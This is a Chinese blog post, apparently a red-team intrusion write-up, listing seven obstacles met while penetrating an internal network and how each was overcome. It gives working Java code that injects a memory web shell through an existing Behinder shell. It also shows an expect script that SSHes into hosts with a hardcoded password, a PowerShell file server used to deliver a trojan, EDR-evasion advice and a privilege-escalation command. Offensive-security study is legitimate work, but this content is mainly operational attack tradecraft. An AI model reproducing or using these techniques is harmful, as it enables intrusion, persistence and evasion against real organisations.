记录一次攻防,遇到各种奇奇怪怪的问题."

admin 2026-10-21 22:52:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

记录一次攻防,遇到各种奇奇怪怪的问题.

原创

ChinaRan404
ChinaRan404

知攻善防实验室

2026年7月1日 08:51
浙江

在小说阅读器读本章

去阅读

前言

真是倒大霉了,破内网,问题太多了,研究了一天,每一步都是坑,每一步都在跟安全环境对抗。

问题 1:入口冰蝎

工具梭哈的入口 shell,不想去折腾漏洞,工具打的冰蝎内存马,需要注入一个其他工具的内存马

import javax.servlet.ServletOutputStream;import javax.servlet.ServletResponse;import java.lang.reflect.Method;import java.util.Map;
public class Test {
  private Object Request;  private Object Response;  private Object Session;
  @Override  public boolean equals(Object obj) {\t  try {\t\t  fillContext(obj);\t\t  ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
\t\t  String b64 = \"Base64内存马\";\t\t  byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
\t\t  // 方式1: ClassLoader#defineClass 加载\t\t  Method defineClass = ClassLoader.class.getDeclaredMethod(\t\t\t  \"defineClass\", String.class, byte[].class, int.class, int.class);\t\t  defineClass.setAccessible(true);\t\t  Class<?> clazz = (Class<?>) defineClass.invoke(\t\t\t  Thread.currentThread().getContextClassLoader(),\t\t\t  null, bytecode, 0, bytecode.length);
\t\t  clazz.newInstance();
\t\t  so.write(\"MemShell injected OK\".getBytes(\"UTF-8\"));\t\t  so.flush();\t\t  so.close();\t  } catch (Exception e) {\t\t  // 如果 defineClass 失败,尝试 Unsafe 方式\t\t  try {\t\t\t  String b64 = \"Base64 内存马\";\t\t\t  byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
\t\t\t  java.lang.reflect.Field f = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\t\t\t  f.setAccessible(true);\t\t\t  sun.misc.Unsafe u = (sun.misc.Unsafe) f.get(null);\t\t\t  Class<?> clazz = u.defineClass(\t\t\t\t  null, bytecode, 0, bytecode.length,\t\t\t\t  Thread.currentThread().getContextClassLoader(), null);\t\t\t  clazz.newInstance();
\t\t\t  ServletOutputStream so = ((ServletResponse) Response).getOutputStream();\t\t\t  so.write(\"MemShell injected OK (Unsafe)\".getBytes(\"UTF-8\"));\t\t\t  so.flush();\t\t\t  so.close();\t\t  } catch (Exception ex) {\t\t\t  ex.printStackTrace();\t\t  }\t  }\t  return true;  }
  private void fillContext(Object obj) throws Exception {\t  if (obj.getClass().getName().indexOf(\"PageContext\") >= 0) {\t\t  this.Request = obj.getClass().getDeclaredMethod(\"getRequest\").invoke(obj);\t\t  this.Response = obj.getClass().getDeclaredMethod(\"getResponse\").invoke(obj);\t\t  this.Session = obj.getClass().getDeclaredMethod(\"getSession\").invoke(obj);\t  } else {\t\t  Map<String, Object> objMap = (Map<String, Object>) obj;\t\t  this.Session = objMap.get(\"session\");\t\t  this.Response = objMap.get(\"response\");\t\t  this.Request = objMap.get(\"request\");\t  }\t  Response.getClass().getDeclaredMethod(\t\t  \"setCharacterEncoding\", String.class).invoke(Response, \"UTF-8\");  }}

冰蝎这里执行即可,内存马从这生成https://party.mem.mk/ui

问题 2: WS 协议不上线

websocket 不上线->改用 tcp 通信,(下文说了,长连接会有问题)

此时的同时,反向隧道出来也是不稳定的下面会说,并且各种隧道工具(不限于开源、自研,全都试了,全都被 kill)

问题 3:交互式 shell 用不了

为什么用不了?我也不知道,换了好几个 C2、vshell、cs 魔改、内部 c2,全都用不了,通信和问题 3 一样会一卡一卡的(长连接会被中断),有知道的师傅留言讨论一下

解决方法:使用非交互式 shell,目标是横一台弱口令再进行二次驻点横向

问题 4:隧道代理打进去,横向移动会被流量设备拦截

隧道代理打进去,横向移动会被流量设备拦截,比如访问一个内网网站,需要建立多次连接,可能连接第一次可以,第二次就被拦截了。

SSH 的话就会遇到这个问题

解决方法:

非交互式 shell 连接 ssh 进行命令执行

 echo '#!/usr/bin/expect' > /tmp/ssh2.exp; echo 'spawn /usr/bin/ssh -o StrictHostKeyChecking=no root@IP ping baidu.com -c 1' >> /tmp/ssh2.exp; echo 'expect Password:' >> /tmp/ssh2.exp; echo 'send admin123\\\\r' >> /tmp/ssh2.exp; echo 'expect eof' >> /tmp/ssh2.exp; /usr/bin/expect /tmp/ssh2.exp

这样就可以了。如果你有自己的 C2,强烈建议加一个 MCP,有时候 AI 可以帮你解决很多问题。

反思:既然 Server1 端连接其他机器没问题,那肯定就是出网流量问题,Server2 端出网反向隧道也没问题,那肯定就是 Server1 的某个进程会杀流量

问题 5:文件下载问题

入口点 A(Windows)->横向 B Linux不出网,且 B Linux为冷门 CPU 架构,且 B Linux 系统不完整,sftp、scp用不了。

解决方法->入口机 powershell 起一个 http 服务,远程下载正向连接木马

那么有老铁问了,为什么不传个建议 http 服务器 exe 文件进去,或者 python -m http.server ?

因为尽量动作最小,本机没 python 环境。

powershell 另存为 ps1文件,运行即可:

# 简易原生HTTP静态文件服务器,监听本机所有网卡0.0.0.0:8080$port = 8080$rootPath = Get-Location # 当前终端目录作为网站根目录$listener = New-Object System.Net.HttpListener$listener.Prefixes.Add(\"http://+:${port}/\")$listener.Start()Write-Host \"服务已启动:http://localhost:$port  | 局域网IP:${port}\"Write-Host \"网站根目录:$rootPath\"Write-Host \"按 Ctrl+C 停止服务\"try {    while ($listener.IsListening) {        $context = $listener.GetContext()        $req = $context.Request        $res = $context.Response        $filePath = Join-Path $rootPath $req.Url.LocalPath.TrimStart('/')        # 目录自动补index.html        if (Test-Path $filePath -PathType Container) {            $filePath = Join-Path $filePath \"index.html\"        }        # 文件存在则返回,否则404        if (Test-Path $filePath -PathType Leaf) {            $bytes = [System.IO.File]::ReadAllBytes($filePath)            $res.ContentLength64 = $bytes.Length            $res.OutputStream.Write($bytes,0,$bytes.Length)        } else {            $msg = \"404 文件不存在:$($req.Url.LocalPath)\"            $buf = [System.Text.Encoding]::UTF8.GetBytes($msg)            $res.StatusCode = 404            $res.ContentLength64 = $buf.Length            $res.OutputStream.Write($buf,0,$buf.Length)        }        $res.OutputStream.Close()    }} finally {    $listener.Stop()    Write-Host \"服务已关闭\"}

问题 6:扫描工具被 kill

某恒 edr 进步很明显,已经可以 kill 绝大多数的开源内网扫描工具了,直接换 gogo 或者二开 fscan(这个要大改)

所以平时武器化工具一定要储备

顺带提一嘴:浙江地区真是某恒的天下啊,每次攻防都遇到这个问题

问题 7:Linux提权问题

需要 icmp 探段,icmp 就需要root,root 就要提权CACM 秒了

./CACM_amd64_zh_tools_stealth -c \"cve run DIRTY-FRAG-2026 whoami\"

具体 CACM 是什么工具看这篇

Linux 后渗透利用神器 CACM 更新v2.4


记录一次攻防,遇到各种奇奇怪怪的问题." 网络安全文章

记录一次攻防,遇到各种奇奇怪怪的问题."

该文档记录了一次内网渗透实战经历,详细描述了遇到的七个主要问题及解决方案:包括冰蝎内存马注入、WebSocket协议不上线、交互式shell不可用、隧道代理被拦截、文件下载困难、扫描工具被查杀以及Linux提权问题。文章提供了具体的技术应对措施,如使用非交互式shell、PowerShell搭建HTTP服务器、更换扫描工具等,并强调武器化工具储备的重要性。
国家能源局发布《能源行业数据分类分级指南》今日施行!" 网络安全文章

国家能源局发布《能源行业数据分类分级指南》今日施行!"

国家能源局发布《能源行业数据分类分级指南》并于7月1日施行。指南将能源非密数据分为一般、重要、核心三级,明确规定了特定设施的精确坐标、实时指令及大规模电力消费数据等核心与重要数据识别规则。数据处理者须据此编制数据目录、落实安全防护并每年开展风险评估。本文为政策解读及厂商引流软文。
特朗普政府要美国情报机构交出一份「总名单」,CIA、FBI为什么顶住不给?" 网络安全文章

特朗普政府要美国情报机构交出一份「总名单」,CIA、FBI为什么顶住不给?"

特朗普政府通过国家情报总监办公室要求CIA和FBI提交外国间谍及潜在目标总名单以建立统一数据库,但遭遇两家机构资深反间谍官员抵制。反对者认为集中化名单违反情报工作知情权受限和密级隔离原则,可能暴露情报来源、导致大规模泄密,并担忧政治化滥用;支持者则称此举旨在消除机构间信息盲区、提升协作效率。目前博弈持续,名单尚未建成,但政治压力与职业官僚抵抗的拉锯仍在继续。
评论:0   参与:  0